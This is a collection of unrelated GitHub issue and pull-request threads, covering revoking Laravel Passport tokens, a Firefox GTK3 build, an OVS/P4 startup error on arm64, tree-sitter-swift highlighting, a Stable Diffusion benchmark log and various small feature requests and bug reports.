How to revoke tokens in session for user?

Hello again, I ran into some issues, not sure what I am missing:
So I used the database driver in config/session.php so I can see the data. I don't use Repositories, but refactored the services code into the respective controller methods, but I have encountered a few issues below:

The user_id is null in the sessions table instead of the current auth logged in user:

If there is a logged in user with a laravel_token, and they are a spammer for example that must have their access revoked, I thought that removing the sessions db entry seen above that would invalidate their session/laravel_token, so on their next request they would be logged out, since they are revoked by the admin and their session no longer exists in the db. This could also happen on a password reset, if a user was logged into multiple device, lost their phone, and now resets password to invalidate all other sessions/tokens for this user.

I seem to be missing something in my understanding on the above 2 points. Any idea what is going on?

The problem here is that the laravel_token isn't used for sessions. It's used so that Laravel Passport can authenticate the request to the API. If you look in your cookies you'll see that laravel_token is still created even though you've changed session storage.
Read https://laravel.com/docs/5.7/passport#consuming-your-api-with-javascript to see exactly what I mean. You'll need to find a way to revoke this JWT that's created by Passport to invalidate "sessions"

So after reading that again, it says that we need to add:

CreateFreshApiToken to the web middleware, but I thought that we're using the custom EncryptCookies on the login/signup routes instead, so I think we just ignore adding the CreateFreshApiToken right?
An event will be triggered for AccessTokenCreated and RefreshTokenCreated so we can prune old ones, here we can prune old tokens, but are we supposed to be saving the tokens to the database after login under the oauth_access_tokens table:

// CustomLoginController.php
public function login(Request $request) {
    // If all valid
   // This is what runs, but where is the jwt in this picture that we can revoke?
   $user = Auth::user();
   $apiCookie = $this->cookie->make($user->getKey(), $csrfToken);
   return response()->array(compact('user'))->withCookie($apiCookie);
}

The way I used before when I used to use the Authorization Bearer header with the access token attached, which was stored in localStorage on client side. But after realizing this is not secure and it's better to use an embedded encrypted jwt token in laravel session, since it is a self consuming api:
// CustomLoginController.php
public function login(Request $request) {
    // If all valid
   $user = Auth::user();
   $token = $user->createToken('Laravel Password Grant Client')->accessToken;
   return response()->array(compact('token'));
}

Are both of these supposed to mix together then like this?
// CustomLoginController.php
public function login(Request $request) {
    // If all valid
   // How will the `$apiCookie` get the `$token`, not sure if mixing both is correct even
   $user = Auth::user();
   $token = $user->createToken('Laravel Password Grant Client')->accessToken;
   $apiCookie = $this->cookie->make($user->getKey(), $csrfToken);
   return response()->array(compact('user'))->withCookie($apiCookie);
}

Sorry to bring this up, but it's been many days now trying to figure this out and this is the final piece of the puzzle that I just can't figure out. Everything I came across online mostly used either the insecure Authorization Bearer with localStorage, or just the CreateFreshApiToken in web middleware which did not work for me before. This package technique is the only thing that worked by adding the encryptCookies middleware to the login/signup routes and logs in without a refresh since it's all client side. But I don't see how we can revoke the user token or why user_id is null after login in the db table above, as in points 1 and 2.
Please let me know if you have any idea, I am really confused on how to get it working properly and feel like I am missing a key point somewhere. I just don't know what it is.

Correct, my project doesn't need the CreateFreshApiToken middleware.
We are not using passport oAuth functionality yet either (I plan to eventually implement this so that third parties can access the API)
You can try what's accepted in the answer here, maybe this will work?

Hmmm... I just have a disconnect of how/where the jwt token is in this line:
$apiCookie = $this->cookie->make($user->getKey(), $csrfToken);
Is there even a jwt being used here at all?
My use case setup is same as you, Laravel backend for api and React front end (SPA) for views. They are both in the same project directory, same as yours. Forgetting jwt for a second, does your boiler plate just create a session cookie laravel_token for the user for the front end usage after login. If so, isn't there anyway to kick that user off the system if they're a spammer for example, by somehow cancelling their access on the backend when they provide the larvel_token on subsequent requests?

Yes that's the line that creates the cookie, but if you look at what $this->cookie actually is, it's an implementation of Laravel Passport's ApiTokenCookieFactory, that creates a special cookie for authenticating as a user.
You can definitely think of it as a session, but it is entirely separate from Larave's default session stuff.
Did you try to do $user->revoke(); to see if that invalidated their laravel_token cookie?

I tried it and a few other things, but it didn't seem to work. Based on this comment by a core laravel developer, when talking about the CreateFreshApiToken middleware:

JWT tokens created by this middleware aren't stored anywhere. They can't be revoked or "not exist". They simply provide a way for your api calls to be authed through the laravel_token cookie. It isn't related to access tokens.
Also: you normally wouldn't use tokens issued by clients on the same app which issues them. You'd use them in a first or third party app. Either use the middleware or the client issued tokens but not both at the same time.

Which is a bit confusing. So if there is just one laravel/react app, one api to serve it (we won't serve 3rd party apps, just this one app and its users that register, login, or just browse). Then what should one do if they want to use the security of the laravel_token, but also the flexibility of catering to these situations:

User logged in on 3 different devices to app, has 3 laravel_tokens, their phone device is stolen, they login from a laptop, get the 4the laravel_token, resets password, how to logout from all the other devices?
Ban a spamming user if we know their user id as an admin?

Yeah, it's a bit confusing to be honest, but security comes first. To me the laravel_token cookie's encrypted JWT is much more secure than using JWT any other way, especially the Authorization Bearer and localStorage combination many blogs/tutorials/videos show. This is not secure at all, but is the quickest way shared on the internet to implement unfortunately. I was excited when I came across your boiler plate because I thought it would be the missing piece, everything react side with no hard page refreshes, so much better UX, but seems like I have no idea how to solve the above scenarios after being authenticated by the cookie :/


Fix Txn.attachment_hooks to defer body creation like similar methods

Previously, if you called Transaction.attachment_hooks before Transaction.set_banner or .add_body_filter, your banner or filter wouldn't be applied because the body had already been created inside attachment_hooks.  This delays creating the body until it's actually going to be used, so all of these methods can be called in any order and still take effect.
I also snuck in a test for my last pull request (#739), which added Transaction.add_body_filter but no test on it.

:+1:

Thanks y'all!


firefox: Add option to build with GTK3

Does anyone care about GTK3 as much as I do?

So, this PR makes Firefox build with GTK3 in a pretty straightforward way. To be honest, I have no idea what is the status of GTK3 support in Firefox right now, there is a huge tracker but it is hard to tell what is expected to work. I definitely have a problem with themes, Oxygen is not being applied (that’s probably #5053) and there is another strange thing: all the popup menus are black.
Any ideas?

About status: I can't find much about it, but I think the state shouldn't be too bad, as almost a year ago the gtk3 port had optimistic target of Firefox 32.

I’ve been using this Firefox since I opened the PR, and didn’t notice any issues other than the one mentioned above, black pop-up menus. I still have no idea what to do with that.

Maybe try with gtk3_16, as #5053 suggests some related changes around 3.14.

In #5053 it is mentioned only that 3.14 makes Adwaita the default theme, I doubt this will help ;). I’ll try.

Yep, the black menus are gone. I suspect this has something to do with colours, as now all the menus are plain white with black text (not sure what colour or texture they are expected to have).

It was supposed to be the default since 3.14, so 3.16 should be the same in that respect.


Added radius algorithm

@fvalenza Could you please add a unittest to validate the values computed by the algorithm against hpp::model? And merge.

In src/benchmark/timings-geometry.hpp there is also an #include "pinocchio/algorithm/collisions.hpp" that must be replaced by #include "pinocchio/algorithm/geometry.hpp"`

Corrected, thanks!

Coverage remained the same at 61.788% when pulling a4d9fdc3d2d2dee0c28b27ac0810b915fca9f5e8 on nmansard:topic/radius into bb8d9d5038848964660b67950da409efbe2a2337 on stack-of-tasks:devel.

Coverage remained the same at 61.788% when pulling c925cf02bb069a2af46162bee34376fc7c6ec1b7 on nmansard:topic/radius into bb8d9d5038848964660b67950da409efbe2a2337 on stack-of-tasks:devel.


Benchmark: RTX 3090

Vulkan and FP16
Quite impressive!
prompt=['A photograph of an astronaut riding a horse']
steps=50, guidance_scale=7.5, scheduler=DPMSolverMultistep, seed=4131568755, size=512x512
Average step time: 106.20ms/it
Total image generation time: 5.83sec

0it [00:00, ?it/s]
Iteration = 0, Time = 120ms
1it [00:00,  8.12it/s]
Iteration = 1, Time = 109ms
2it [00:00,  8.57it/s]
Iteration = 2, Time = 108ms
3it [00:00,  8.74it/s]
Iteration = 3, Time = 107ms
4it [00:00,  8.85it/s]
Iteration = 4, Time = 107ms
5it [00:00,  8.91it/s]
Iteration = 5, Time = 108ms
6it [00:00,  8.94it/s]
Iteration = 6, Time = 108ms
7it [00:00,  8.95it/s]
Iteration = 7, Time = 108ms
8it [00:00,  8.95it/s]
Iteration = 8, Time = 107ms
9it [00:01,  8.98it/s]
Iteration = 9, Time = 108ms
10it [00:01,  8.97it/s]
Iteration = 10, Time = 107ms
11it [00:01,  9.00it/s]
Iteration = 11, Time = 108ms
12it [00:01,  8.99it/s]
Iteration = 12, Time = 108ms
13it [00:01,  8.99it/s]
Iteration = 13, Time = 106ms
14it [00:01,  9.01it/s]
Iteration = 14, Time = 107ms
15it [00:01,  9.04it/s]
Iteration = 15, Time = 107ms
16it [00:01,  9.03it/s]
Iteration = 16, Time = 108ms
17it [00:01,  9.01it/s]
Iteration = 17, Time = 107ms
18it [00:02,  8.99it/s]
Iteration = 18, Time = 108ms
19it [00:02,  8.98it/s]
Iteration = 19, Time = 108ms
20it [00:02,  8.98it/s]
Iteration = 20, Time = 108ms
21it [00:02,  8.98it/s]
Iteration = 21, Time = 108ms
22it [00:02,  8.99it/s]
Iteration = 22, Time = 107ms
23it [00:02,  9.00it/s]
Iteration = 23, Time = 109ms
24it [00:02,  8.98it/s]
Iteration = 24, Time = 108ms
25it [00:02,  8.97it/s]
Iteration = 25, Time = 107ms
26it [00:02,  8.99it/s]
Iteration = 26, Time = 108ms
27it [00:03,  8.99it/s]
Iteration = 27, Time = 108ms
28it [00:03,  8.98it/s]
Iteration = 28, Time = 106ms
29it [00:03,  9.02it/s]
Iteration = 29, Time = 108ms
30it [00:03,  9.01it/s]
Iteration = 30, Time = 108ms
31it [00:03,  9.00it/s]
Iteration = 31, Time = 108ms
32it [00:03,  9.00it/s]
Iteration = 32, Time = 108ms
33it [00:03,  9.02it/s]
Iteration = 33, Time = 108ms
34it [00:03,  9.02it/s]
Iteration = 34, Time = 108ms
35it [00:03,  9.01it/s]
Iteration = 35, Time = 107ms
36it [00:04,  9.02it/s]
Iteration = 36, Time = 107ms
37it [00:04,  9.03it/s]
Iteration = 37, Time = 108ms
38it [00:04,  9.01it/s]
Iteration = 38, Time = 107ms
39it [00:04,  9.02it/s]
Iteration = 39, Time = 109ms
40it [00:04,  8.99it/s]
Iteration = 40, Time = 108ms
41it [00:04,  8.98it/s]
Iteration = 41, Time = 107ms
42it [00:04,  8.99it/s]
Iteration = 42, Time = 107ms
43it [00:04,  9.00it/s]
Iteration = 43, Time = 108ms
44it [00:04,  8.99it/s]
Iteration = 44, Time = 108ms
45it [00:05,  8.99it/s]
Iteration = 45, Time = 108ms
46it [00:05,  8.99it/s]
Iteration = 46, Time = 108ms
47it [00:05,  8.99it/s]
Iteration = 47, Time = 107ms
48it [00:05,  9.01it/s]
Iteration = 48, Time = 108ms
49it [00:05,  9.02it/s]
Iteration = 49, Time = 108ms
50it [00:05,  8.98it/s]

Average step time:<PHONE_NUMBER>3920898ms/it
Clip Inference Avg time (ms) = (17.000 + 13.534) / 2 = 15.267
VAE Inference time (ms): 207.123

Total image generation time: 5.870218276977539sec

Vulkan and CUDA on Nvidia are supported


"terminate called after throwing an instance of 'bfrt::(anonymous namespace)::fileOpenFailException'" upon invocation of "/root/scripts/run_ovs.sh"

Upon invocation of root@df5632ec08ff:~/scripts# /root/scripts/run_ovs.sh
I get and error: BF_BFRT FATAL - Unable to find any BfRt Json File
root@df5632ec08ff:~/scripts# /root/scripts/run_ovs.sh
Killing OVS Processes If Already Running....
Killing ovsdb-server process....
Creating /var/run/openvswitch
Starting OvS DB server....
Staring OvS VSWITCHD Process....
2022-01-10T20:54:07Z|00001|vlog|INFO|opened log file /tmp/ovs-vswitchd.log
2022-01-10T20:54:07Z|00002|ovs_numa|INFO|Discovered 24 CPU cores on NUMA node 0
2022-01-10T20:54:07Z|00003|ovs_numa|INFO|Discovered 1 NUMA nodes and 24 CPU cores
WARNING: Logging before InitGoogleLogging() is written to STDERR
I20220110 20:54:07.516815 18364 bf_sde_wrapper.cc:1530] bf_sysfs_fname: /sys/class/bf/bf0/device/dev_add
Install dir: /usr (0xaaaaba385a70)
bf_switchd: system services initialized
bf_switchd: loading conf_file /usr/share/stratum/target_skip_p4_no_bsp.conf...
bf_switchd: processing device configuration...
Configuration for dev_id 0
  Family        : dpdk
bf_switchd: processing P4 configuration...
P4 profile for dev_id 0
P4 EAL args dummy -n 4 -c 3
num P4 programs 1
  p4_name: dummy
  bfrt_config:
  port_config:
  p4_pipeline_name: pipe
    context:
    config:
  Pipes in scope [0 1 2 3 ]
  diag:
  accton diag:
  non_default_port_ppgs: 0
  SAI default initialize: 1
Operational mode set to DPDK MODEL
Initialized the device types using PAL handler registration
bf_switchd: drivers initialized
Skipping P4 program load for dev_id 0
EAL: Detected CPU lcores: 24
EAL: Detected NUMA nodes: 1
EAL: Detected shared linkage of DPDK
EAL: Multi-process socket /var/run/dpdk/rte/mp_socket
EAL: Selected IOVA mode 'VA'
EAL: No available 16777216 kB hugepages reported
EAL: 1024 hugepages of size 2097152 reserved, but no mounted hugetlbfs found for that size
EAL: VFIO support initialized
TELEMETRY: No legacy callbacks, legacy socket not created
2022-01-10 20:54:08.064048 BF_BFRT FATAL - Unable to find any BfRt Json File
terminate called after throwing an instance of 'bfrt::(anonymous namespace)::fileOpenFailException'
terminate called recursively
2022-01-10T20:54:09Z|00002|daemon_unix|ERR|fork child died before signaling startup (killed (Aborted), core dumped)
ovs-vswitchd: could not detach from foreground session
root@df5632ec08ff:~/scripts#

Any ideas how to approach/fix this?
Environment is arm64 (aarch64)

Someone must have broken the P4 code upstream, because I'm seeing this on x86_64 as well:
TELEMETRY: No legacy callbacks, legacy socket not created
2022-01-10 21:10:34.605317 BF_BFRT FATAL - Unable to find any BfRt Json File
2022-01-10 21:10:34.605488 BF_BFRT ERROR - makeBfRtInfo:383 Failed to create BfRtInfo for dev_id  0

I found the case, it was my set_hugepages.sh fix from this commit. I'll push a revert now.

Per @Namrata-intel, this error is benign, I can confirm I see this error even when things work.

Looks like indeed a benign error:
root@df5632ec08ff:~# nano scripts/get_p4ovs_repo.sh
root@df5632ec08ff:~# ps -ef | grep ovs
root     18361     1  0 Jan10 ?        00:00:00 ovsdb-server --remote=punix:/usr/local/var/run/openvswitch/db.sock --remote=db:Open_vSwitch,Open_vSwitch,manager_options --pidfile --detach
root     18383     1  0 00:07 pts/0    00:00:00 grep --color=auto ovs
root@df5632ec08ff:~#

Looks like ovs running in arm64 at last
I you can confirm @mestery I will close this issue

Yup, it's benign. Also, it's a duplicate of #8. So closing it should be ok. Appears the fix needs to be done upstream in Stratum.

No fix needed upstream as this is expected behavior when starting the control part. In recent Stratum code this error is decremented to info level.

@mestery @stolsma
Reopening this issue since it seems that the issue is not related to "BF_BFRT FATAL - Unable to find any BfRt Json File" (renamed subject)
It seems that the ovs-vswitchd terminated due to terminate called after throwing an instance of 'bfrt::(anonymous namespace)::fileOpenFailException'
What could be the reason for that? Which file caused it?

Is this on the arm system?

@stolsma yes

Any more information which can be obtained from ovs-vswitchd.log (such as verbosity increase)?
root@9cbe3c2e74af:~/scripts# cat /tmp/ovs-vswitchd.log
2022-01-12T09:02:09.922Z|00001|vlog|INFO|opened log file /tmp/ovs-vswitchd.log
2022-01-12T09:02:09.928Z|00002|ovs_numa|INFO|Discovered 24 CPU cores on NUMA node 0
2022-01-12T09:02:09.928Z|00003|ovs_numa|INFO|Discovered 1 NUMA nodes and 24 CPU cores
2022-01-12T09:02:10.281Z|00002|daemon_unix|ERR|fork child died before signaling startup (killed (Aborted), core dumped)
2022-01-12T09:02:10.281Z|00003|daemon_unix|EMER|could not detach from foreground session
root@9cbe3c2e74af:~/scripts#

@mestery @stolsma Might this be related?
From https://github.com/p4lang/p4-dpdk-target :
P4 Compiler DPDK Backend:
        (https://github.com/p4lang/p4c/tree/main/backends/dpdk)
        P4C DPDK backend creates the artifact files used by p4-dpdk-target
        and DPDK SWX pipeline.
        p4-dpdk-target uses bfrt.json to define the program independent frontend
        bf_rt interface.
        context.json is used to map the P4 runtime info to the P4 DPDK target
        specific info.
        The P4 DPDK spec file from P4C DPDK, which is used by DPDK SWX pipeline
        to setup the software pipeline, is also loaded through p4-dpdk-target.

So maybe a missing step?

With @n-sandeep’s awesome help ovs-vswitchd now up and running on arm64:
@mestery Thanks for updating stratum, I'll try without my patches once you bump it up however probably unrelated directly to the stratum hash (commit) position
...
All Processes Started.....
root@9cbe3c2e74af:~/scripts# ps -ef | grep ovs
root     10070     1  0 21:44 ?        00:00:00 ovsdb-server --remote=punix:/usr/local/var/run/openvswitch/db.sock --remote=db:Open_vSwitch,Open_vSwitch,manager_options --pidfile --detach
root     10073     1 99 21:44 ?        00:00:33 ovs-vswitchd --pidfile --detach --no-chdir --mlockall --log-file=/tmp/ovs-vswitchd.log --verbose
root     10095     1  0 21:45 pts/0    00:00:00 grep --color=auto ovs
root@9cbe3c2e74af:~/scripts#

All relevant changes in https://github.com/asafravid/ipdk for now
Much appreciated!
Closing issue.
Summary:
Relevant changes here https://github.com/asafravid/p4-dpdk-target/commits/main/src/bf_rt/bf_rt_common/bf_rt_info_impl.cpp


Add an option to make hopscotch jump to appropriate step for currently focused element.

Especially when having hopscotch bubbles for each field in a form, it would be cool if the bubbles would automatically show whenever the user jumps from field to field.
And vice-versa, it would be nice if the form field would receive the focus if next/previous are clicked in the hopscotch bubble.

Rolling this issue into #103.


option to turn off red notification indicator.

I like the notification alert, i'm even curious from a technical perspective how you've managed to do it on a page that appears otherwise static. Facebook has a similar red notificaiton alert for its inbox that i always felt was psychologicaly abusive. We now know that Facebook has over the years designed and timed its various features to trigger and initiate at various points to increase screentime.
Well, the red indicator that appears on the bell and accross all tabs, is triggering Facebook flashbacks. Facebook leaves a lingering distaste for manipulation on online platforms.
I don't think that is what's happening here at all, but it would be nice to be able to know for sure that that's not what's happening and be able to turn it off in a way facebook does not allow.
thanks !

As far as how the icon works: https://github.com/stackernews/stacker.news/blob/e913ab71ada66dce0129ae9bff3d56598a616a3f/components/header.js#L60
Dynamic favicon FTW
I'm just a recent contributor, so I can't speak to the intent nor willingness to implement this feature request

Please share this post as a ~meta and see if anyone else agrees with you.


file been deleted after switching to another branch

VSCode Version:newest
OS Version:win7

Steps to Reproduce:

use webpack-dev-server to run a web project
switch from one branch to another, again and again
sometimes there will be some files been modified or deleted shown on the source control panel

Reproduces without extensions: Yes

Please check your setup. I'm sure this will reproduce even if you don't use Code. Simply use a command line to run git checkout BRANCH and you'll get the same behaviour.


Add discord handler

related Task : https://github.com/roots-id/roots-react-native/issues/21
ChangeLog:

Removed sample and used faker to populate credential details
Improved redux structure to dynamically create (dummy) credentials

https://user-images.githubusercontent.com/19255438/203665189-17f42e6c-146c-435c-ad50-5f28c5777c8b.mov

Great stuff @HunnySajid!
This is close enough to some mocks i did yesterday that I think we can stick with it like you have it, but in case you want a little more context, here those are
See the slides here https://docs.google.com/presentation/d/15gq16k5ZRKe99rOhVuoNrEvksd7vViLkchTKlAkQSwM/edit?usp=sharing
One thing that I'd like changed, when you accept or deny the credential, the message should show in the chat where you were offered the credential.  We only show messages in your own chat when the interaction wasn't with another person (you self-issued a demo credential).

@2byrds  Updated the chatId for relevant message after credential acceptance/denial

@2byrds  regarding the credentials flow diagram you shared, I will look into it more thoroughly over the weekend and will create MR if any changes are needed.
I also have reviewed some open source projects regarding dids and chat based interfaces. I will check if we can also adopt any practises from there.

Looking forward to hearing your ideas. I'm just getting back from our holiday today. I'll be around to meet tomorrow if you can.  We have tons of nonSSI UI/UX work we need to push forward over the next 6 months.

@2byrds  Updated the chatId for relevant message after credential acceptance/denial

Looks great @HunnySajid

confirmed on android

confirmed on iphone

confirmed on web


fela-plugin-validator to support CSSLint rule configuration or root .csslintrc file

Proposal
Currently when CSSLint is enabled, I cannot see a way for us to pass a configuration to it so we are forced to use all of the default rules. You can technically disable rules with the per-line syntax as long as you include that comment as part of your style definition.
The problem with this is the comment then gets rendered into the atomic class/style.
Current Example:
// CURRENT:
const rule = (props) => {
  const {theme} = props;

  return {color: theme.primaryColor + ' !important /* csslint allow: important */'};
};

It would be great if we could simply look in the root folder for the .csslintrc file and pass that as a parameter in the plugin automatically. Or at least be able to pass that as a config option to fela-plugin-validator.
I guess the per-line option is good if we were stripping out CSS comments in Fela. I am not aware of an option for this.

I have not ideas how support .csslintrc file because linting performed in browser and for this to work you need pack .csslintrc into bundle. But I will support passing js object into plugin configs.


Any release 2 planned?

gem is still 1.0.1, is there any 2.x release planned?

@dks17 Want to cut a release?

Ok, I was being lazy. Released 2.0.


Errors occurs and syntax highlighting is lost or bleeding.

I'm on the current main branch 58deb71df91bcee6d650774dbd136a7493ca20f
Here is the output with debug. Hope it helps

I didn't have them yesterday.

This is happening because the compiled version of your external scanner is out of date. It must not have gotten updated when you switched to the latest. The (generated) parser.c and (manually written) scanner.c files refer to the same set of constants that must remain in sync, so updating one requires you to update to the other.
The error will go away if you uninstall the grammar and then reinstall it. You may want to dig into the upgrade logic from the emacs tree sitter plugin to see how you got into this state.
(How do I know this is the issue? The source code in the provided screenshot parses just fine for me using the latest grammar. I tried with both 0.19.0 to simulate what the emacs plugin uses and with 0.20.6 which is roughly the latest. However, I see the exact same parse errors you report if I manually revert the most recent changes to scanner.c, which simulates what would happen if you updated just the parser file and not the scanner.)

Ok thanks for the explanation. I think they are checking the possibilities in using a new compiler (20.x).

just to make sure we’re on the same page: the grammar still works with 0.19, you just need to fully uninstall and reinstall it to fix this issue. I don’t think that’s a versioning problem, it sounds like a bug in upgrade logic in general that will affect any grammar that has an external scanner.
can you try that out and let me know if it works? It may even be helpful to list out the steps you follow so that others who come across this later know what to do. If it works after doing that, please close the issue.

In Emacs I just rename your dylib file to "swift.dylib" and place in a folder. Same thing with queries. So I dont really see how this would change anything. It dynamically loaded by emacs when needed.

Thank you for clarifying that! I'm not quite sure what "your dylib file" refers to -- I don't vend a dylib artifact. Are there steps you ran locally to create the dylib? I think that's where the bug lies -- that the dylib was created using old artifacts for the scanner (e.g. maybe it used a cached scanner.o) but a fresh parser file (created using a freshly-examined grammar.js). I am fairly certain that some issue like that would have caused these errors. Would you mind trying whatever steps again after cleaning any intermediate artifacts (e.g. by starting with a fresh git checkout)?
Since the latest grammar can parse the file you shared in a screenshot without any errors (with any version of tree-sitter you care to throw at it), I'm confident this isn't a widespread issue. If you're willing to try those steps, we can definitively confirm how future users can recover if they get into the same locally-inconsistent state. I totally understand if you'd rather not test it out, but unless you're up for confirming the theory, then I don't really have further steps to help you.
Apart from testing that out, is there anything else we should do before closing this issue?

Hi!
Maybe I forgot to do make clean. But here are the steps I do for now. Btw, there is a pull request for integrating your repository into tree-sitter-langs for Emacs now. 🎉 https://github.com/emacs-tree-sitter/tree-sitter-langs/pull/118

git pull
make clean
make install
rename libtree-sitter-swift.0.0 -> swift.dylib (2.4 mb file)
copy swift.dylib to .emacs.d/elpa/tree-sitter-langs/bin/
copy the 3 queries .emacs.d/elpa/tree-sitter-langs/queries/swift
restart Emacs.
open a .swift file (make sure tree-sitter-hl-mode) is enabled

Ah, got it! Did a make clean fix the issue for you? If so, there’s probably something I need to fix in the makefile that’s preventing it from autodetecting that the scanner has changed, but that does narrow down the problem!
Great to see that PR, thanks for sharing it :)

Yes, now it works again after I did a make clean first. Big thanks.
Do you have a list of which 'attributes' detected and supported in the tree-sitter-swift? I noticed that sometimes labels are shown.
Btw here are the faces that Emacs detects now. Do you have any custom detec
tions that you dont see in that list? I know that the other tree-sitter had some custom that you needed to add yourself.

I see a few in highlights.scm that aren't in the screenshot above:

parameter (probably should be the same as variable.parameter)
include (used for import statements, not sure how you would want to highlight it)
repeat (for keywords like for and in, and while)
conditional (keywords like guard and if)
float and boolean (for literals; perhaps they should be highlighted like number?)

I don't know if the emacs detection is hierarchical (i.e. if it doesn't recognize foo.bar, it can still match that against foo). If it is not, there's also keyword.return and keyword.operator.

Thanks. Ill probably need to add them manually some how.

I moved this conversation about highlight queries to a discussion so it doesn't get lost: https://github.com/alex-pinkus/tree-sitter-swift/discussions/233
Most of the highlight queries actually come from the neovim folks, so I wonder if they have any advice on how to maintain a maximally-applicable subset in the upstream repository (i.e. here) and make lives as easy as possible for anyone integrating at the editor level (i.e. you).

nvim-treesitter maintains its own version of highlights.scm. We don't use the upstream highlights.scm, so there is no need to keep the upstream highlights.scm compatible with nvim-treesitter. Atom never really standardized the usage of the captures. Maybe it would be worth to agree on a common subset (for helix, nvim-treeistter, Emacs). At the moment, helix and nvim-treesitter vendor their queries (helix queries initially forked from nvim-treesitter)


Unable to reach web interface of Synology router

It's unable to access https://<IP_ADDRESS>:8001/ with enabled AdGuard via Safari browser.
Steps to reproduce:

Start AdGuard (Release or Nightly)
Open Safari and try to open https://<IP_ADDRESS>:8001/
You'll see "connection is not private" warning
Click "show details" and click "visit the website"

Expected behavior:
You should see the log-in page.
Actual behavior:
You get the "connection is not private" warning again.
Customer ID: 2025544

@TheHasagi Can you please check if it happens with <IP_ADDRESS>4 nightly?

It does


Recompile plugin with steampipe-plugin-sdk v5.10.0 and add support for connection key columns

@ParthaI could you please update the SDK to v5.10.1?


valid-prop-names-in-kit-pages false positive when exporting trailingSlash variable

Before You File a Bug Report Please Confirm You Have Done The Following...

[X] I have tried restarting my IDE and the issue persists.
[X] I have updated to the latest version of the packages.

What version of ESLint are you using?
8.28.0
What version of eslint-plugin-svelte are you using?
2.14.0
What did you do?

Configuration
module.exports = {
    rules: {
        'svelte/valid-prop-names-in-kit-pages': 'error'
    }
}

<!-- +page.svelte -->
<script lang="ts">
    export const trailingSlash = 'always'
</script>

What did you expect to happen?
no error, as trailingSlash is valid to export on sveltekit page components. see https://github.com/sveltejs/kit/pull/7719
What actually happened?
> eslint .

C:\projects\project\src\routes\+page.svelte
  10:18  error  disallow props other than data or errors in Svelte Kit page components  svelte/valid-prop-names-in-kit-pages

Link to GitHub Repo with Minimal Reproducible Example
cant be bothered but i'm gonna make a PR fixing it myself anyway
Additional comments
No response

nvm i misread the docs, it's only valid in +layout.ts, not .svelte files


[ipad:] Unable to change the color of a binding text, without changing the color of the container

I want to be able to change the color of a binding text, but keep the color of the container stroke as it is (on ipad). This is currently possible to do on laptop (and probably on an ipad with a keyboard, but I'm testing with apple pencil and finger and it doesn't work). Here is a recording of the issue:
https://user-images.githubusercontent.com/13351748/206279969-44523b13-61de-497f-a49b-abbb7054f32b.mp4

Honestly, not sure if this can be fixed given the virtual keyboard thing. So one more argument in favor of this proposal https://github.com/excalidraw/excalidraw/issues/5863#issuecomment-1339666602


Updated esrecurse to 4.3.0. Dependencies update.

Coverage remained the same at 98.585% when pulling 83208b22f22b81a66c87b44642f4f6e02eaad79a on esrecurse-version-update into 017ade47dbf347a999f3998858fe11e828c886d9 on master.


Referenz to delta table explanation would be nice.

A whole article about how to virtualize delta tables, without a single link or explanation what delta tables are. Would be nice to have a link to some information about delta tables and when to use them.

@nojetlag -- thank you for your feedback.  Where in the learn.microsoft.com articles would you like to see this information?
Meanwhile, please consider these resources, if you haven't already:

SQL Server on Microsoft Q&A
DBA Stack Exchange
Stack Overflow


Use Animated and more? [feature request]

Hi Adrian,
A contributor integrates it into GiftedChat and I find it really funny!
But I would like to help out a bit with some PRs:

TypeScript it
Use expo on the root for example (ie. mobile and web on the same level, same structure without example folder but some small script for releases and start:dev, like on GiftedChat?)
Use RN Animated API with native driver by default
Add some other animations type  (wait for 1s on the bottom like iOS typing, etc...)

Please let me know your thought about it and a happy new year in advance! 🎉

@xcarpentier Hi, for 1,2 and 4, this sounds good to me 👍 Feel free to help with these PRs. I haven't worked on this library for awhile.
In regards to 3:

Use RN Animated API with native driver by default

The reason I didn't use RN Animated API by default is just because this library can be used with RNW for the web. Some people are using it for that use case. Open for discussion though 😄

But it's possible to use Animation with RNW ?
See a small example:
https://snack.expo.io/@xcarpentier/animation-example

@xcarpentier In that case, sounds good to me 🙂 let's do it!

@xcarpentier I sent you an invitation to be a collaborator for this library 👬

I am new at react native. How can I customize UI of gifted Chat. I want to change background color and want to add icons to import media. Please help

@xcarpentier I think it's better to write this simple animation using reanimated in main repo. There're really not much code needed

Made version on reanimated
Screen.Recording.2024-08-29.at.15.39.48.mov

Released in https://github.com/FaridSafi/react-native-gifted-chat/releases/tag/2.6.1


Add a general hat function

Problem to solve
Add a general hat function to replace the current vec2skew
Further details
Besides so3, which has a 3x3 skew matrix, all the rest of se3, sim3, etc types have the the closed form representation of the hat matrix, which are used pretty often.
Proposal
For each Lie Type, create a corresponding hat function.
Documentation
Args: input (LieTensor): The input LieTensor (Lie algebra)
Return: a matrix representing the hat operation
Testing
No risk.

Hi @aerogjy Are we still going to add this feature? Could you provide more mathematical details for this issue?


deactivate the no follow attribute checkbox

Hi , I would like to deactivate the no follow attribute visible when I click on the pop-up to add a link, I refer to this but how do I set it up on react?
https://github.com/xdan/jodit/issues/68
I just tried to put it in the config but nothing

Try use template https://github.com/xdan/jodit/issues/333


[ISSUE #7246] Add expireAfterAccess for cache

Rename ProxyConfig ExpiredInSeconds to RefreshSeconds

Which Issue(s) This PR Fixes

Fixes #7246
Brief Description
Add expireAfterAccess for cache

How Did You Test This Change?

Codecov Report

Merging #7247 (1cba84b) into develop (72d796f) will increase coverage by 0.13%.
Report is 9 commits behind head on develop.
The diff coverage is 70.37%.

@@              Coverage Diff              @@
##             develop    #7247      +/-   ##
=============================================
+ Coverage      42.46%   42.59%   +0.13%
- Complexity      9353     9405      +52
=============================================
  Files           1149     1152       +3
  Lines          82111    82352     +241
  Branches       10703    10723      +20
=============================================
+ Hits           34868    35080     +212
- Misses         42882    42889       +7
- Partials        4361     4383      +22

Files Changed
Coverage Δ

.../org/apache/rocketmq/proxy/config/ProxyConfig.java
54.42% <55.55%> (+0.22%)
:arrow_up:

...proxy/service/metadata/ClusterMetadataService.java
78.78% <100.00%> (+0.66%)
:arrow_up:

...ocketmq/proxy/service/route/TopicRouteService.java
73.17% <100.00%> (+1.37%)
:arrow_up:

... and 47 files with indirect coverage changes
:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


MessageInput property inputCursorDrawable does not work.

I am trying to set a custom cursor drawable for the MessageInput EditText, but it is not working. I am using a simple rectangle shape, and I have tested this in other EditTexts, and it works:
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle" >
    <size android:width="1dp" />
    <solid android:color="@android:color/black" />
</shape>

The property I'm setting in XML is:
app:inputCursorDrawable="@drawable/black_cursor"

Hello @ryanthon
